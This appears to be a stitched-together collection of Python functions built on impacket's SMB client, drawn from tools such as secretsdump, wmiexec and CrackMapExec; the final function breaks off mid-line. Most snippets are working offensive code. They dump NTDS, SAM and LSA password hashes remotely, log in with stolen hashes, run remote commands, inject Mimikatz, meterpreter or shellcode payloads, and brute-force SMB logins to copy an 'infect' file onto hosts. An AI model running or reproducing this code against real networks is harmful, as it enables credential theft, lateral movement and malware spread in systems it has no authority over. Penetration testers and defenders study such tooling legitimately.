def process_remote(username, password, target, historic): hashes = list() print("Attempting to connect to {}...".format(target)) try: connection = SMBConnection(target, target) connection.login(username, password, "", "", "") ops = RemoteOperations(connection, False, None) ops.setExecMethod("smbexec") stopper = Event() spinner = Thread(target=__update, args=(stopper, hashes)) spinner.start() NTDSHashes(None, None, isRemote=True, remoteOps=ops, noLMHash=True, useVSSMethod=False, justNTLM=True, printUserStatus=True, history=historic, lastLogon=True, pwdLastSet=True, perSecretCallback=lambda type, secret: hashes.append( __process_hash(secret))).dump() stopper.set() spinner.join() if len(hashes) == 0: raise Exception( "Extraction seemingly finished successfully but I didn't find any hashes..." ) return __get_domain(hashes), hashes except socket_error: raise Exception("Failed to connect to {}".format(target)) except SessionError as e: if e.error == 3221225581: raise Exception( "Username or password incorrect - please try again.")
def init_smb_session(args, domain, username, password, address, lmhash, nthash): smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) dialect = smbClient.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") if args.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.isGuestSession() > 0: logging.debug("GUEST Session Granted") else: logging.debug("USER Session Granted") return smbClient
def test_smbserver_share_list(self): """Test listing files in a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) client.listPath(self.share_name, "/") # Check path traversal in list as in #1066 with self.assertRaises(SessionError): client.listPath(self.share_name, "../impacket/") client.close()
class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB'}) cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain)) if settings.args.mssql_instance or settings.args.mssql is not None: mssql_greenlet(host, s_name, domain) return try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, domain, smb, cme_logger) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, settings.args.user, domain, settings.args.passwd, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:"******"Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) else: print(line, end=' ') else: shell.cmdloop() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e))
class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = options.system self.__bootkey = options.bootkey self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds self.__history = options.history self.__noLMHash = True self.__isRemote = True self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip self.__options = options if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None try: try: self.connect() except Exception as e: if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: logging.error('RemoteOperations failed: %s' % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, printUserStatus= self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: logging.info("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") elif self.__useVSSMethod is False: logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if self.__NTDSHashes is not None: if isinstance(e, KeyboardInterrupt): while True: answer = input("Delete resume session file? [y/N] ") if answer.upper() == '': answer = 'N' break elif answer.upper() == 'Y': answer = 'Y' break elif answer.upper() == 'N': answer = 'N' break if answer == 'Y': resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) try: self.cleanup() except: pass def cleanup(self): try: logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() except Exception as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0: raise
password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.getDialect() != SMB_DIALECT: # Let's disable SMB3 Encryption for now smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA pipeDream = PIPEDREAM(smbClient, options) pipeDream.run() except Exception, e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e))
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output) logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
class Host(object): def __init__(self, ip, scanner): self.ip = ip self.data = scanner[ip] self.is_up = self.data.state() == 'up' self.open_ports = [x for x in self.data['tcp'].keys() if self.data['tcp'][x]['state'] == 'open'] self.domain = '' self.name = '' self.os = '' self.ex = None self.smb = None self.shares = None self.infected = None def __str__(self): return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format( self.ip, ', domain: {0}'.format(self.domain) if self.domain else '', ', name: {0}'.format(self.name) if self.name else '', ', os: {0}'.format(self.os) if self.os else '', 'up' if self.is_up else 'down', ', result: {0}'.format(self.ex) if self.ex else ', result: {0}'.format('Infected') if self.infected else '' ) @property def chosen_port(self): for p in SMB_PORTS: if p in self.open_ports: return p raise Exception('No port can be used to infect this host') @property def is_connected(self): return self.smb is not None def connect(self, password_generator): try: self.smb = SMBConnection('*SMBSERVER', self.ip, sess_port=int(self.chosen_port)) self.smb.login('', '') self.domain = self.smb.getServerDomain() self.name = self.smb.getServerName() self.os = self.smb.getServerOS() for username, password, lmhash, nthash in password_generator: try: self.smb.login(username, password, lmhash=lmhash, nthash=nthash) self.shares = self.smb.listShares() self.ex = None break except SessionError as ex: self.ex = ex except SessionError as ex: self.ex = ex def infect(self, password_generator, share, source, destination): try: if not path.isfile(source): raise Exception('Source file {0} does not exist.'.format(source)) if not self.is_connected: self.connect(password_generator) if self.ex: return with open(source, 'rb') as f: self.smb.putFile(share, destination, f.read) self.ex = None self.infected = True except SessionError as ex: self.ex = ex
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': return self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME) filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME) # Delete outfile if self.shell: output_callback = '' # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename)) for _ in xrange(10): try: self.shell._RemoteShell__transferClient.deleteFile(self.shell._RemoteShell__share, self.shell._RemoteShell__output) break except KeyboardInterrupt: try: print("Pressing Ctrl+C again might leave a file on disk: {}".format(filename)) time.sleep(1) continue except KeyboardInterrupt: break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) pass if str(e).find('BAD_NETWORK_NAME') >= 0: print(str(e)) break else: # print str(e) time.sleep(1) pass else: print("Error: Timeout - {} might be left on disk".format(filename))
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = StringIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = groupsxml_path_split[2] share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: return list() content = content_io.getvalue().replace('\r', '') groupsxml_soup = BeautifulSoup(content, 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in group.Properties.find_all('Member'): if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) setattr(gpo_group, 'gpodisplayname', gpo_display_name) setattr(gpo_group, 'gponame', gpo_name) setattr(gpo_group, 'gpopath', groupsxml_path) setattr(gpo_group, 'members', members) setattr(gpo_group, 'memberof', memberof) gpo_groups.append(gpo_group) return gpo_groups
def connect(host): """ My imagination flowed free when coming up with this name This is where all the magic happens """ try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login("", "") except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status( u"{}:{} is running {} (name:{}) (domain:{})".format( host, settings.args.port, smb.getServerOS(), s_name, domain ) ) try: """ DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) """ smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if ( settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None) ) or settings.args.combo_file: smb = smart_login(host, smb, domain) # Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid( settings.args.user, settings.args.passwd, domain, "{}/SMB".format(settings.args.port), settings.args.hash, settings.args.rid_brute, ) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY( settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey, ) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb) if settings.args.mimikatz: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb) if settings.args.mimikatz_cmd: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb) if settings.args.inject: powah_command = PowerSploit(settings.args.server, local_ip) if settings.args.inject.startswith("met_"): EXECUTOR(powah_command.inject_meterpreter(), 